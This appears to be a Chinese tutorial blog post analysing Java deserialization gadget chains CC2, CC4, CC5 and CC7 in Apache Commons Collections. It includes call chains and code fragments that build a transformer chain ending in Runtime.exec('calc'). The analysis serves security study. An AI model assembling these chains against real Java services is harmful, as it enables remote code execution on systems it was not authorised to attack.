news 2026/4/18 9:51:10

JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

知识点:
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5

前面利用链都是使用commons.collections都是3.x版本的,那么来看一下4.x版本有哪些利用方式,把cc2,cc4,cc5,cc7都进行分析。

复现配置:pom.xml添加依赖:CC4版本

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5

一、CC2

cc2中不通过实例化TrAXFilter进行类加载,而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass






















0、获取对象修改成员属性

Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);

反射技术原理

1、TemplatesImpl#newTransformer

需要传入成员变量数据:_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中:在TemplatesImpl#defineTransletClasses()中,_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法,如果 _tfactory为null,此处会抛出 NullPointerException

2、InvokerTransformer

负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}

3、TransformingComparator

Comparator.compare(obj1,obj2)obj1=2obj2=templates

4、PriorityQueue

size=2


二、CC4

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass

0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动

1、ConstantTransformer

new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};

2、InstantiateTransformer

new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})




三、CC5

基本和CC1一致,入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

0、InvokerTransformer

通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型: Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");

1、ConstantTransformer

通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);

2、Transformer[]的设计是为了分步反射调用

Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};

3、LazyMap

反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);

4、TiedMapEntry

通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");

5、BadAttributeValueExpException

调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);





四、CC7

基本和CC1一致,入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 2:05:19

Qwen3-0.6B多实例部署:单机运行多个模型的服务隔离方案

Qwen3-0.6B多实例部署&#xff1a;单机运行多个模型的服务隔离方案 1. 为什么需要多实例部署&#xff1f; 你有没有遇到过这样的情况&#xff1a;同一个项目里&#xff0c;不同业务模块对大模型的需求完全不同——客服对话要低延迟、内容审核要高稳定性、A/B测试又得并行跑两…

作者头像 李华
网站建设 2026/4/18 3:49:02

FSMN-VAD前端界面定制:Gradio样式修改实战教程

FSMN-VAD前端界面定制&#xff1a;Gradio样式修改实战教程 1. 为什么需要定制FSMN-VAD的Gradio界面&#xff1f; 你刚跑通了FSMN-VAD语音端点检测服务&#xff0c;打开浏览器看到那个默认的Gradio界面——灰白底色、基础按钮、标准字体&#xff0c;功能是没问题&#xff0c;但…

作者头像 李华
网站建设 2026/4/18 3:53:21

verl监控告警系统:训练异常自动检测实战

verl监控告警系统&#xff1a;训练异常自动检测实战 1. verl 框架简明定位&#xff1a;不是另一个RL库&#xff0c;而是LLM后训练的“生产级流水线” 你有没有遇到过这样的场景&#xff1a;模型正在跑一个长达72小时的PPO训练&#xff0c;凌晨三点收到一条微信——GPU显存爆了…

作者头像 李华
网站建设 2026/4/18 3:43:31

如何实现7x24服务?DeepSeek-R1-Distill-Qwen-1.5B进程守护实战

如何实现7x24服务&#xff1f;DeepSeek-R1-Distill-Qwen-1.5B进程守护实战 你是不是也遇到过这样的情况&#xff1a;模型服务跑得好好的&#xff0c;结果一重启服务器就断了&#xff1b;或者半夜用户发来紧急请求&#xff0c;发现Web界面打不开&#xff0c;日志里全是“Connec…

作者头像 李华
网站建设 2026/4/18 3:49:52

快速理解MySQL和PostgreSQL触发器的触发顺序

以下是对您提供的博文进行 深度润色与结构重构后的专业级技术文章 。全文已彻底去除AI生成痕迹,语言更贴近资深数据库工程师的实战口吻;逻辑层层递进、不依赖模板化标题;关键概念加粗强调,技术细节融入真实工程语境;所有代码、表格、对比均保留并增强可读性;结尾自然收…

作者头像 李华
网站建设 2026/4/18 3:49:21

FSMN-VAD云端部署:ECS实例配置推荐与成本分析

FSMN-VAD云端部署&#xff1a;ECS实例配置推荐与成本分析 1. 为什么需要在云端部署FSMN-VAD&#xff1f; 你有没有遇到过这样的问题&#xff1a;一段30分钟的会议录音&#xff0c;真正说话的时间可能只有12分钟&#xff0c;其余全是静音、咳嗽、翻纸声&#xff1f;传统语音识…

作者头像 李华